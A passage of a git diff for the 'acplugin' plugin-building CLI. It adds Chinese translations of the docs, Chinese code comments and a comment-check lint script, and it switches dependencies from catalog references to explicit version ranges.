Hook/MCP 描述文件都是受信任、可执行的项目代码,应当像构建脚本一样接受 review。Legacy Migration 来源会作为不可信数据扫描,不会作为描述 Module 执行。 + +## 验证与构建 + +```bash +pnpm exec acplugin validate +pnpm exec acplugin inspect +pnpm exec acplugin build +pnpm exec acplugin dev +``` + +- `validate` 会在临时目录中生成并物化全部选中目标,不修改 `dist`; +- `inspect` 会增加 Artifact 明细,但不修改 `dist`; +- `build` 只有在全部目标成功后才会原子替换完整受管输出; +- `dev` 监听输入并合并变更;重建失败时保留最后一次成功输出。 + +通用选项包括 `--config`、可重复的 `--target`、`--mode`、`--no-strict` 和 `--json`。默认启用严格模式。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `--no-strict` 明确接受。 + +## Public 文件 + +默认情况下,`public/` 中的普通文件会复制到每个目标根目录。如果只需复制其中一部分,可以使用显式规则: + +```ts +public: { + dir: 'public', + copy: [ + { from: 'assets', to: 'assets' }, + { from: 'NOTICE.md', to: 'NOTICE.md' }, + ], +}, +``` + +符号链接、目录穿越、路径冲突以及可信根目录之外的来源都会被拒绝。 + +## 迁移旧工程 + +```bash +pnpm exec acplugin migrate ./legacy-project ./new-plugin \ + --name new-plugin \ + --description "Migrated plugin" +``` + +Migration 也支持受支持的 GitHub 来源格式、单个 Claude Plugin 和 Marketplace。使用 `--dry-run` 可避免写入目标目录,使用 `--strict` 可在存在任何降级或未映射资源时失败。不可移植资源会随报告保存在 `.acplugin-migration/unmapped/`;Migration 绝不会原地修改来源。 diff --git a/llmdoc/index.md b/llmdoc/index.md index e4852d3..e9c7ed5 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -2,19 +2,22 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Module sources once, then build complete installable Claude Code and Codex plugins. +关键稳定文档同时维护英文基准与中文对照;行为变化需要同步更新两种语言。 + ## Overview -- [Project overview](overview/project.md) — product boundary, packages, runtime, and Migration isolation. +- [Project overview](overview/project.md) · [项目概览](overview/project.zh-CN.md) — product boundary, packages, runtime, and Migration isolation. ## Guides -- [Using acplugin](guides/usage.md) — scaffold, author, validate, build, and migrate. -- [Release guide](guides/release.md) — fixed public cohort verification and trusted tag publishing. +- [Using acplugin](guides/usage.md) · [使用 acplugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. +- [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — fixed public cohort verification and fully manual publishing. +- [中文代码注释规范](guides/commenting.zh-CN.md) — 中文声明注释、关键逻辑注释与自动守卫规则。 ## Architecture -- [System architecture](architecture/system.md) — Core-owned lifecycle, Compilers, Modules, Artifact graph, and managed output transaction. +- [System architecture](architecture/system.md) · [系统架构](architecture/system.zh-CN.md) — Core-owned lifecycle, Compilers, Modules, Artifact graph, and managed output transaction. ## Reference -- [Target support matrix](reference/conversion-matrix.md) — native, transformed, and degraded target capabilities plus implementation ownership. +- [Target support matrix](reference/conversion-matrix.md) · [目标支持矩阵](reference/conversion-matrix.zh-CN.md) — native, transformed, and degraded target capabilities plus implementation ownership. diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index bbe0d6a..5685845 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -1,5 +1,7 @@ # Project Overview +> [中文对照](project.zh-CN.md) + ## Identity acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile complete installable plugins for Claude Code and Codex. @@ -22,13 +24,15 @@ Default targets are Claude Code and Codex. Claude supports all Core Components n ## Runtime and tooling -- Node.js >=20, ESM-only TypeScript +- Node.js >=20, ESM-only TypeScript 7 for package builds and typechecking - pnpm workspace, no Turborepo - Commander.js and `@inquirer/prompts` for CLI/TUI - tsdown for package bundles/declarations/package validation - Rolldown for local Hook/MCP executable bundles - Vitest for private repository tests +The root ESLint toolchain temporarily retains the TypeScript 6 API required by `typescript-eslint`; every actual workspace package resolves the shared TypeScript 7 compiler from the pnpm catalog. + The CLI entry is `packages/acplugin/src/cli.ts`; the facade/config loader is `packages/acplugin/src/index.ts`. ## Migration boundary diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md new file mode 100644 index 0000000..befc7fa --- /dev/null +++ b/llmdoc/overview/project.zh-CN.md @@ -0,0 +1,42 @@ +# 项目概览 + +> [English version](project.md) + +## 项目定位 + +acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code 和 Codex 编译出完整、可安装的 Plugin。 + +公开发布的固定包组包括: + +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` + +Core、两个内置 Compiler 和集成测试工作区都是私有包。主公开包会内联 Core 和 Compiler,因此消费者不会依赖任何 `@acplugin/*` 包。 + +## 创作边界 + +Core Component 包括 Commands、Skills 和 Agents。`acplugin.config.ts` 在顶层定义 `name`、`version`、`description`、目标平台、Public 复制行为、Modules 和严格度。 + +Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是可选 Module:启用 Module 只会扩展同一套 Core 生命周期,不会替换 Compiler。 + +默认目标是 Claude Code 和 Codex。Claude Code 原生支持全部 Core Component。Codex 会把 Command 转换成需要显式调用的 Skill,并把 Agent 降级成仅保留模型指导的回退 Skill,因为可安装 Codex Plugin 无法注册项目级或用户级自定义 Agent。 + +## 运行时与工具链 + +- Node.js >=20;工作区包使用仅 ESM 的 TypeScript 7 进行构建和类型检查 +- pnpm workspace,不使用 Turborepo +- Commander.js 和 `@inquirer/prompts` 提供 CLI/TUI +- tsdown 负责包 Bundle、声明文件和包结构校验 +- Rolldown 负责本地 Hook/MCP 可执行文件 Bundle +- Vitest 负责仓库内部测试 + +根目录 ESLint 工具链暂时保留 `typescript-eslint` 所需的 TypeScript 6 API;所有实际工作区包都从 pnpm catalog 解析共享的 TypeScript 7 编译器。 + +CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面和配置加载器位于 `packages/acplugin/src/index.ts`。 + +## Migration 边界 + +`acplugin migrate` 支持旧 Claude 工程、单 Plugin、Marketplace 和受支持的 GitHub 来源格式。Migration 通过动态导入加载,并隔离在 `packages/acplugin/src/migration/` 下。其容错 Legacy Scanner/Converter 实现只保留在 `migration/legacy/` 子目录中。 + +`migration/legacy/` 下只保留容错 GitHub 下载和 Claude/Plugin 扫描辅助代码;旧版多平台 Converter、Writer、CLI、TUI 和测试副本均已删除。不可信或不可移植内容会保存在 `.acplugin-migration/unmapped/`,绝不会被伪造成规范 Hooks、MCP 实现或 Instructions Component。 diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index c5d3185..19479e1 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -1,5 +1,7 @@ # Target support matrix +> [中文对照](conversion-matrix.zh-CN.md) + This matrix describes canonical acplugin 1.0 builds. The tolerant converters retained below `packages/acplugin/src/migration/legacy/` are Migration implementation details, not additional build targets. | Capability | Claude Code | Codex | diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md new file mode 100644 index 0000000..ba5eccd --- /dev/null +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -0,0 +1,36 @@ +# 目标支持矩阵 + +> [English version](conversion-matrix.md) + +本矩阵描述规范 acplugin 1.0 构建。保留在 `packages/acplugin/src/migration/legacy/` 下的容错 Converter 只是 Migration 实现细节,不代表额外构建目标。 + +| 能力 | Claude Code | Codex | +| --- | --- | --- | +| Skills | 原生 | 原生 | +| Commands | 原生 | 显式 `command-` 回退 Skill | +| Agents | 原生 | 显式 `agent-`、仅保留模型指导的回退 Skill | +| Public 文件 | 复制到目标根目录 | 复制到目标根目录 | +| Hooks Module | 原生支持事件 | 原生可移植事件 | +| 远程 HTTP MCP | 原生声明 | 原生声明 | +| 本地 stdio MCP | Node 20 ESM Bundle | Node 20 ESM Bundle | + +Codex 通过语义转换支持 Command。Agent 会降级,因为可安装 Codex Plugin 无法注册项目级或用户级自定义 Agent。因此,在默认严格设置下,包含 Agent 的 Codex 目标会失败;`--no-strict` 表示明确接受生成的回退和结构化兼容性警告。 + +Hooks 和 MCP 不是 Core Component。只有配置 `@tokenroll/acplugin-module-hooks` 或 `@tokenroll/acplugin-module-mcp` 后,它们才会加入同一构建生命周期。如果 `src/hooks` 或 `src/mcp` 中存在源码但未启用对应 Module,则构建会报错。 + +## 源码与输出所有权 + +| 关注点 | 事实来源 | +| --- | --- | +| Config、Components、Modules、Artifacts | `packages/core/src/types.ts` | +| 发现与依赖图 | `packages/core/src/scanner.ts` | +| 生命周期与目标分发 | `packages/core/src/builder.ts` | +| 事务化输出 | `packages/core/src/transaction.ts` | +| Claude 输出 Schema | `packages/compiler-claude-code/src/index.ts` | +| Codex 输出 Schema 与回退 | `packages/compiler-codex/src/index.ts` | +| Hooks 发现与运行时 Bundle | `packages/module-hooks/src/index.ts` | +| MCP 声明与运行时 Bundle | `packages/module-mcp/src/index.ts` | +| 公开门面与配置加载 | `packages/acplugin/src/index.ts` | +| CLI 与 Migration 边界 | `packages/acplugin/src/cli.ts` | + +Compiler 拥有目标路径和 Manifest。Module 可以贡献 Artifact、由其唯一拥有的顶层 Manifest 字段和兼容性条目,但不能替换 Compiler,也不能直接写入 `dist`。 diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index b24c59d..647333c 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -2,5 +2,5 @@ - Baseline commit: `9320905211728816fc6d068b32e481c725a58ab2` - Mode: `full` -- Updated for: acplugin 1.0 pnpm monorepo, canonical framework/CLI, official Modules, isolated Migration, and fixed-cohort release flow. +- Updated for: acplugin 1.0 pnpm monorepo, shared-only dependency catalog, TypeScript 7 package compilation, canonical framework/CLI, official Modules, isolated Migration, PR checks, manual Changeset version PRs, and fully manual fixed-cohort publication. - Review: Standards and Spec code-review axes passed after security, transaction, schema, Hook-result, and diagnostic hardening. diff --git a/package.json b/package.json index bf06ef1..f88e0bb 100644 --- a/package.json +++ b/package.json @@ -15,8 +15,9 @@ "changeset": "changeset", "version-packages": "changeset version", "release:verify": "node scripts/verify-release.mjs", - "lint": "eslint .", + "lint": "pnpm run comments:check && eslint .", "lint:fix": "eslint . --fix", + "comments:check": "node scripts/check-comments.mjs", "typecheck": "pnpm -r --if-present run typecheck", "check": "pnpm run lint && pnpm run typecheck && pnpm run test && pnpm run build", "prepare": "husky" @@ -25,18 +26,18 @@ "*.{ts,mts,cts,js,mjs,cjs}": "eslint --fix" }, "devDependencies": { - "@arethetypeswrong/core": "catalog:", - "@changesets/cli": "catalog:", - "@eslint/js": "catalog:", - "@stylistic/eslint-plugin": "catalog:", + "@arethetypeswrong/core": "^0.18.5", + "@changesets/cli": "^2.31.1", + "@eslint/js": "^10.0.1", + "@stylistic/eslint-plugin": "^5.10.0", "@types/node": "catalog:", - "eslint": "catalog:", - "husky": "catalog:", - "lint-staged": "catalog:", - "publint": "catalog:", + "eslint": "^10.8.0", + "husky": "^9.1.7", + "lint-staged": "^17.2.0", + "publint": "^0.3.23", "tsdown": "catalog:", - "typescript": "catalog:", - "typescript-eslint": "catalog:", + "typescript": "^6.0.3", + "typescript-eslint": "^8.66.0", "vitest": "catalog:" } } diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 55537bb..1332d7b 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -12,7 +12,7 @@ "bin": { "acplugin": "./dist/cli.mjs" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], - "publishConfig": { "access": "public", "provenance": true }, + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "dev": "tsdown --watch", @@ -20,15 +20,15 @@ "typecheck": "tsc -p tsconfig.json" }, "dependencies": { - "@iarna/toml": "catalog:", - "@inquirer/prompts": "catalog:", - "chalk": "catalog:", - "chokidar": "catalog:", - "commander": "catalog:", - "gray-matter": "catalog:", - "glob": "catalog:", - "jiti": "catalog:", - "ora": "catalog:" + "@iarna/toml": "^2.2.5", + "@inquirer/prompts": "^8.3.2", + "chalk": "^5.6.2", + "chokidar": "^5.0.0", + "commander": "^15.0.0", + "gray-matter": "^4.0.3", + "glob": "^13.0.6", + "jiti": "^2.7.0", + "ora": "^5.4.1" }, "devDependencies": { "@acplugin/compiler-claude-code": "workspace:*", diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index 4d44d53..b9b1212 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -15,14 +15,27 @@ import { type TargetId, } from './index.js'; +/** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ interface ProjectCliOptions { + /** 可选的 TypeScript 配置文件覆盖路径。 */ config?: string; + /** 可选的目标平台集合覆盖。 */ target?: string[]; + /** 传递给配置函数的开发或生产模式。 */ mode: BuildMode; + /** 是否把能力降级和不支持视为错误。 */ strict: boolean; + /** 是否只在 stdout 输出一个稳定 JSON 对象。 */ json?: boolean; } +/** + * 为项目 Pipeline 子命令注册一致的配置、目标、模式和报告选项。 + * + * @param command 待扩展的 Commander 子命令。 + * @param defaultMode 该子命令使用的默认配置模式。 + * @returns 同一个 Command,便于继续链式注册 action。 + */ function addProjectOptions(command: Command, defaultMode: BuildMode): Command { return command .option('-c, --config ', 'Use another TypeScript config file') @@ -32,11 +45,20 @@ function addProjectOptions(command: Command, defaultMode: BuildMode): Command { .option('--json', 'Emit one stable JSON report on stdout'); } +/** + * 按人类可读或机器可读模式输出完整构建报告。 + * + * JSON 模式严格只写 stdout;普通模式把摘要写 stdout、问题写 stderr。 + * + * @param report Core Pipeline 产生的构建报告。 + * @param json 是否启用稳定 JSON 输出。 + */ function writeReport(report: BuildReport, json: boolean | undefined): void { if (json) { process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); return; } + /** 普通文本摘要使用的稳定状态词。 */ const status = report.success ? 'success' : 'failed'; process.stdout.write(`${report.command}: ${status} (${report.targets.join(', ')})\n`); for (const diagnostic of report.diagnostics) @@ -47,14 +69,28 @@ function writeReport(report: BuildReport, json: boolean | undefined): void { } } +/** 在 Pipeline 尚未产生 BuildReport 时使用的最小 CLI 失败报告。 */ interface CliFailureReport { + /** CLI 失败报告协议版本。 */ schemaVersion: '1'; + /** 触发失败的子命令名称。 */ command: string; + /** 可安全向用户展示的诊断。 */ diagnostics: readonly Diagnostic[]; + /** 失败报告固定为 false。 */ success: false; } +/** + * 将配置错误或其他命令异常转换为不会泄露内部详情的 CLI 报告。 + * + * @param command 当前子命令名称。 + * @param error 捕获到的未知异常。 + * @param internal 是否属于框架内部失败。 + * @returns 可序列化的统一失败报告。 + */ function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { + /** 配置错误保留原诊断,其他异常只输出固定安全消息。 */ const diagnostics = error instanceof ProjectConfigError ? error.diagnostics : [{ @@ -66,7 +102,16 @@ function failureReport(command: string, error: unknown, internal: boolean): CliF return { schemaVersion: '1', command, diagnostics, success: false }; } +/** + * 按 CLI 输出模式展示尚未进入 Core 报告阶段的失败。 + * + * @param command 当前子命令名称。 + * @param error 捕获到的未知异常。 + * @param json 是否启用稳定 JSON 输出。 + * @param internal 是否属于框架内部失败。 + */ function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { + /** 从未知异常收敛出的安全失败报告。 */ const report = failureReport(command, error, internal); if (json) { process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); @@ -76,8 +121,15 @@ function writeFailure(command: string, error: unknown, json: boolean | undefined process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); } +/** + * 运行一次 validate、inspect 或 build,并按失败类型设置进程退出码。 + * + * @param commandName 待执行的非持续型 Pipeline 命令。 + * @param options Commander 解析后的共享项目选项。 + */ async function runPipeline(commandName: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { try { + /** 官方 Compiler Pipeline 的执行结果。 */ const result = await runProject({ command: commandName, mode: options.mode, @@ -97,9 +149,21 @@ async function runPipeline(commandName: 'validate' | 'inspect' | 'build', option } } +/** + * 启动监听模式,并串行合并构建期间到达的文件变化。 + * + * 始终保留最后一次成功提交的输出;同一时刻最多运行一个构建,期间的多次变化合并为一次补充重建。 + * + * @param options Commander 解析后的共享项目选项。 + */ async function runDev(options: ProjectCliOptions): Promise { + /** 当前是否已有构建正在执行。 */ let running = false; + /** 当前构建期间是否至少收到过一次新的文件变化。 */ let pending = false; + /** + * 串行执行一次 dev 构建,必要时在完成后消费合并的待处理变化。 + */ const rebuild = async (): Promise => { if (running) { pending = true; @@ -107,6 +171,7 @@ async function runDev(options: ProjectCliOptions): Promise { } running = true; try { + /** 当前 dev 重建的 Pipeline 结果。 */ const result = await runProject({ command: 'dev', mode: options.mode, @@ -130,11 +195,15 @@ async function runDev(options: ProjectCliOptions): Promise { }; await rebuild(); + /** dev 模式实际使用的配置绝对路径。 */ const configPath = path.resolve(options.config ?? 'acplugin.config.ts'); + /** 监听范围以配置文件目录为工程根目录。 */ const projectRoot = path.dirname(configPath); + /** 忽略依赖、产物、Git 和 acplugin 事务目录的递归文件监听器。 */ const watcher = watch(projectRoot, { ignoreInitial: true, ignored: (candidate) => { + /** 候选路径相对于监听根目录的 POSIX 表示。 */ const relative = path.relative(projectRoot, candidate).split(path.sep).join('/'); return relative === 'node_modules' || relative.startsWith('node_modules/') @@ -145,6 +214,7 @@ async function runDev(options: ProjectCliOptions): Promise { || /(^|\/)\.acplugin-(?:work|stage|backup|transaction|lock)/.test(relative); }, }); + /** 合并短时间文件事件使用的定时器。 */ let debounce: NodeJS.Timeout | undefined; watcher.on('all', () => { if (debounce) @@ -155,6 +225,9 @@ async function runDev(options: ProjectCliOptions): Promise { }, 50); }); await new Promise((resolve) => { + /** + * 响应终止信号,清理定时器和 watcher,并使用 130 表示信号中断。 + */ const stop = (): void => { if (debounce) clearTimeout(debounce); @@ -166,7 +239,13 @@ async function runDev(options: ProjectCliOptions): Promise { }); } +/** + * 构造完整 Commander 命令树,但不读取 argv 或退出进程。 + * + * @returns 可供 main、测试或嵌入方调用的根 Command。 + */ export function createCli(): Command { + /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ const program = new Command() .name('acplugin') .description('Build canonical AI plugins for Claude Code and Codex') @@ -196,6 +275,7 @@ export function createCli(): Command { json?: boolean; }) => { try { + /** init 参数与交互结果共同生成的脚手架结果。 */ const result = await initializeProject({ ...(directory === undefined ? {} : { directory }), ...(options.yes === undefined ? {} : { yes: options.yes }), @@ -241,7 +321,9 @@ export function createCli(): Command { json?: boolean; }) => { try { + // Migration 通过动态导入保持在独立 chunk 中,不进入常规构建和配置加载路径。 const { migrate } = await import('./migration/index.js'); + /** 旧工程转换产生的结构化迁移报告。 */ const report = await migrate({ source, ...(destination === undefined ? {} : { destination }), @@ -277,7 +359,13 @@ export function createCli(): Command { return program; } -export async function main(argv = process.argv): Promise { +/** + * 解析 CLI 参数并把 Commander 使用错误与框架内部错误映射为稳定退出码。 + * + * @param argv 完整进程参数,默认为 process.argv。 + */ +export async function main(argv: readonly string[] = process.argv): Promise { + /** 当前调用独占的 Commander 命令树。 */ const program = createCli(); if (argv.length <= 2) { program.outputHelp(); @@ -297,4 +385,5 @@ export async function main(argv = process.argv): Promise { } } +// 仅 CLI 入口模块执行 main;库入口不会触发参数解析。 await main(); diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index e9ff06d..d9dc087 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -18,11 +18,23 @@ import { codexCompiler } from '@acplugin/compiler-codex'; export * from '@acplugin/core'; export * from './init.js'; +/** 当前 CLI 与公开运行时 API 的版本号。 */ export const ACPLUGIN_VERSION = '1.0.0'; +/** + * 表示配置文件读取、执行或 Core 配置解析失败,并携带可安全展示的结构化诊断。 + */ export class ProjectConfigError extends Error { + /** 可直接写入 CLI JSON 报告的配置诊断。 */ readonly diagnostics: readonly import('@acplugin/core').Diagnostic[]; + /** + * 创建配置加载错误并保留底层原因供内部调试。 + * + * @param message 面向用户的安全错误摘要。 + * @param diagnostics 已清理的结构化配置诊断。 + * @param cause 不直接展示给用户的底层异常。 + */ constructor( message: string, diagnostics: readonly import('@acplugin/core').Diagnostic[], @@ -37,38 +49,77 @@ export class ProjectConfigError extends Error { } } +/** + * 为 `acplugin.config.ts` 提供类型推断友好的恒等辅助函数。 + * + * @param config 静态配置对象或按命令和模式生成配置的函数。 + * @returns 未修改的配置导出。 + */ export function defineConfig(config: UserConfigExport): UserConfigExport { return config; } +/** 控制项目配置文件的定位方式和配置函数执行上下文。 */ export interface LoadProjectConfigOptions { + /** 解析相对路径使用的工作目录,默认为当前进程目录。 */ cwd?: string; + /** 相对于 cwd 的配置路径,默认为 `acplugin.config.ts`。 */ configPath?: string; + /** 当前执行的 CLI/运行时命令。 */ command: BuildCommand; + /** 传递给配置函数的开发或生产模式。 */ mode: BuildMode; } +/** 已解析 Core 配置及其共享 TypeScript Module 加载能力。 */ export interface LoadedProjectConfig { + /** 完成默认值、路径和 Module 校验的不可变配置。 */ config: ResolvedConfig; + /** + * 使用与配置文件相同的 Jiti 实例加载 Module 引用。 + * + * @param path TypeScript Module 文件路径。 + */ loadTypeScriptModule(path: string): Promise; } +/** + * 通过 Jiti 导入模块的默认导出,并屏蔽其泛型返回细节。 + * + * @param jiti 当前项目配置专用且禁用缓存的 Jiti 实例。 + * @param modulePath 待执行模块路径。 + * @returns 模块默认导出。 + */ async function importDefault(jiti: ReturnType, modulePath: string): Promise { return jiti.import(modulePath, { default: true }); } +/** + * 安全加载、执行并解析项目的 TypeScript 配置入口。 + * + * 配置文件必须是普通非符号链接文件;每次调用使用无缓存 Jiti,确保 dev 重建读取最新内容。 + * + * @param options 配置路径与执行上下文。 + * @returns Core 已解析配置和后续 Module 共用的 TypeScript 加载函数。 + * @throws 配置访问、执行或语义校验失败时抛出 ProjectConfigError。 + */ export async function loadProjectConfig(options: LoadProjectConfigOptions): Promise { + /** 所有配置相对路径解析使用的绝对工作目录。 */ const cwd = path.resolve(options.cwd ?? process.cwd()); + /** 本次运行实际加载的配置绝对路径。 */ const configPath = path.resolve(cwd, options.configPath ?? 'acplugin.config.ts'); + /** 可安全展示且不泄露 cwd 前缀的配置路径。 */ const displayPath = path.relative(cwd, configPath).split(path.sep).join('/') || path.basename(configPath); try { const stat = await fs.lstat(configPath); if (!stat.isFile() || stat.isSymbolicLink()) throw new Error('Configuration must be a regular non-symlink file.'); } catch (error) { + /** 根据文件是否缺失生成稳定且不暴露底层异常文本的失败原因。 */ const reason = (error as NodeJS.ErrnoException).code === 'ENOENT' ? 'file does not exist.' : 'file cannot be accessed as a regular non-symlink file.'; + /** 配置访问失败时供异常与诊断共用的消息。 */ const message = `Cannot load ${displayPath}: ${reason}`; throw new ProjectConfigError(message, [{ code: 'CONFIG_LOAD_FAILED', @@ -79,15 +130,18 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom }], error); } + /** 当前配置及其引用 Module 共用的无缓存 TypeScript 执行器。 */ const jiti = createJiti(import.meta.url, { interopDefault: true, moduleCache: false, fsCache: false, }); + /** 配置文件尚未调用的默认导出。 */ let exported: UserConfigExport; try { exported = await importDefault(jiti, configPath) as UserConfigExport; } catch (error) { + /** 配置代码无法求值时使用的安全消息。 */ const message = `Cannot evaluate ${displayPath}.`; throw new ProjectConfigError(message, [{ code: 'CONFIG_EVALUATION_FAILED', @@ -97,12 +151,14 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom location: { path: displayPath }, }], error); } + /** 静态导出或配置函数执行后得到的原始用户配置。 */ let value: UserConfig; try { value = (typeof exported === 'function' ? await exported({ command: options.command, mode: options.mode }) : exported) as UserConfig; } catch (error) { + /** 配置函数执行失败时使用的安全消息。 */ const message = `Configuration function in ${displayPath} failed.`; throw new ProjectConfigError(message, [{ code: 'CONFIG_FUNCTION_FAILED', @@ -121,8 +177,10 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom location: { path: displayPath }, }]); + /** Core 配置解析结果,包含诊断以及成功时的 ResolvedConfig。 */ const resolved = resolveConfig(value, configPath, options.command, options.mode); if (!resolved.config) { + /** 为非 CLI API 调用方组合的简要错误文本;结构化诊断仍完整保留。 */ const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); throw new ProjectConfigError(details || 'Configuration is invalid.', resolved.diagnostics); } @@ -133,17 +191,31 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom }; } +/** 在加载配置的基础上控制目标覆盖、严格模式和真实提交。 */ export interface RunProjectOptions extends LoadProjectConfigOptions { + /** 可选的目标平台集合覆盖。 */ targets?: readonly TargetId[]; + /** 可选的统一目标兼容性严格度覆盖。 */ strict?: boolean; + /** 是否把生成结果提交到 outDir。 */ commit?: boolean; } +/** + * 使用官方 Compiler 注册表运行一个项目构建请求。 + * + * @param options 配置定位、命令模式和运行时覆盖选项。 + * @returns Core Pipeline 产生的项目与构建报告。 + */ export async function runProject(options: RunProjectOptions): Promise { + /** 已加载的配置和 TypeScript Module 解析能力。 */ const loaded = await loadProjectConfig(options); + /** 可能应用 CLI 目标覆盖的最终运行配置。 */ let config = loaded.config; if (options.targets || options.strict !== undefined) { + /** CLI 指定或配置原有的目标 ID 列表。 */ const targetIds = options.targets ?? config.targets.map(target => target.id); + /** 对全部选中目标应用的可选严格度覆盖。 */ const strict = options.strict; config = { ...config, @@ -155,6 +227,7 @@ export async function runProject(options: RunProjectOptions): Promise part.charAt(0).toUpperCase() + part.slice(1)).join(' '); } +/** + * 确认脚手架目标不存在或是空的普通目录。 + * + * @param directory 待写入工程的绝对目录。 + * @throws 目标是符号链接、非目录或非空目录时抛出异常。 + */ async function assertDestination(directory: string): Promise { try { const stat = await fs.lstat(directory); @@ -49,6 +83,12 @@ async function assertDestination(directory: string): Promise { } } +/** + * 生成使用顶层元数据和可选官方 Module 的 `acplugin.config.ts`。 + * + * @param metadata 新工程的 Plugin 元数据与 Module 选择。 + * @returns 可直接写入磁盘的 TypeScript 配置源码。 + */ function configSource(metadata: { name: string; displayName: string; @@ -56,7 +96,9 @@ function configSource(metadata: { hooks: boolean; mcp: boolean; }): string { + /** 配置入口必需以及由 Module 选择追加的导入语句。 */ const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; + /** 写入配置 `modules` 数组的初始化表达式。 */ const modules: string[] = []; if (metadata.hooks) { imports.push(`import hooks from '@tokenroll/acplugin-module-hooks';`); @@ -80,11 +122,20 @@ export default defineConfig({ `; } +/** + * 生成仅包含工程开发依赖和标准命令的私有 package.json。 + * + * @param name Plugin 机器名称。 + * @param hooks 是否加入官方 Hooks Module 依赖。 + * @param mcp 是否加入官方 MCP Module 依赖。 + * @returns 以换行结尾的格式化 JSON。 + */ function packageSource(name: string, hooks: boolean, mcp: boolean): string { + /** 根据 Module 选择动态扩展的开发依赖映射。 */ const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', '@types/node': '^20.19.0', - 'typescript': '^5.9.3', + 'typescript': '^7.0.2', }; if (hooks) devDependencies['@tokenroll/acplugin-module-hooks'] = '^1.0.0'; @@ -108,44 +159,68 @@ function packageSource(name: string, hooks: boolean, mcp: boolean): string { }, null, 2)}\n`; } +/** + * 在新工程中运行 pnpm install,并把子进程失败转换为布尔结果。 + * + * @param directory 新工程绝对目录。 + * @returns pnpm 以零退出码结束时返回 true。 + */ async function installDependencies(directory: string): Promise { return new Promise((resolve) => { + /** 继承当前终端输入输出的 pnpm 子进程。 */ const child = spawn('pnpm', ['install'], { cwd: directory, stdio: 'inherit' }); child.once('error', () => resolve(false)); child.once('exit', code => resolve(code === 0)); }); } +/** + * 交互式或无交互地创建一个最小、可构建的规范 Plugin 工程。 + * + * @param options 目标目录、元数据、Module 和依赖安装选项。 + * @returns 创建文件、启用 Module 与安装状态。 + */ export async function initializeProject(options: InitOptions): Promise { + /** 解析相对目标目录使用的绝对工作目录。 */ const cwd = path.resolve(options.cwd ?? process.cwd()); + /** CLI 参数或交互提示提供的原始目录值。 */ let directoryValue = options.directory; if (!directoryValue) { if (options.yes || !process.stdin.isTTY) throw new Error('A destination directory is required in non-interactive mode; pass "." explicitly for the current directory.'); directoryValue = await input({ message: 'Project directory', default: 'my-plugin' }); } + /** 已解析并即将接受脚手架文件的绝对目录。 */ const directory = path.resolve(cwd, directoryValue); await assertDestination(directory); + /** 根据目录名推导的默认机器名称。 */ const suggestedName = defaultName(directory); + /** 参数、确定性默认值或交互输入得到的最终 Plugin 名称。 */ const name = options.name ?? (options.yes || !process.stdin.isTTY ? suggestedName : await input({ message: 'Plugin name', default: suggestedName })); if (!NAME_PATTERN.test(name)) throw new Error('Plugin name must be lowercase kebab-case.'); + /** 根据机器名称推导的默认展示名称。 */ const suggestedDisplayName = defaultDisplayName(name); + /** 参数、默认值或交互输入得到的最终展示名称。 */ const displayName = options.displayName ?? (options.yes || !process.stdin.isTTY ? suggestedDisplayName : await input({ message: 'Display name', default: suggestedDisplayName })); + /** 参数、默认值或交互输入得到的 Plugin 描述。 */ const description = options.description ?? (options.yes || !process.stdin.isTTY ? `${displayName} plugin.` : await input({ message: 'Description', default: `${displayName} plugin.` })); if (description.trim() === '') throw new Error('Description must not be empty.'); + /** 新工程是否启用 Hooks Module。 */ let hooksEnabled = options.hooks ?? false; + /** 新工程是否启用 MCP Module。 */ let mcpEnabled = options.mcp ?? false; if (!options.yes && 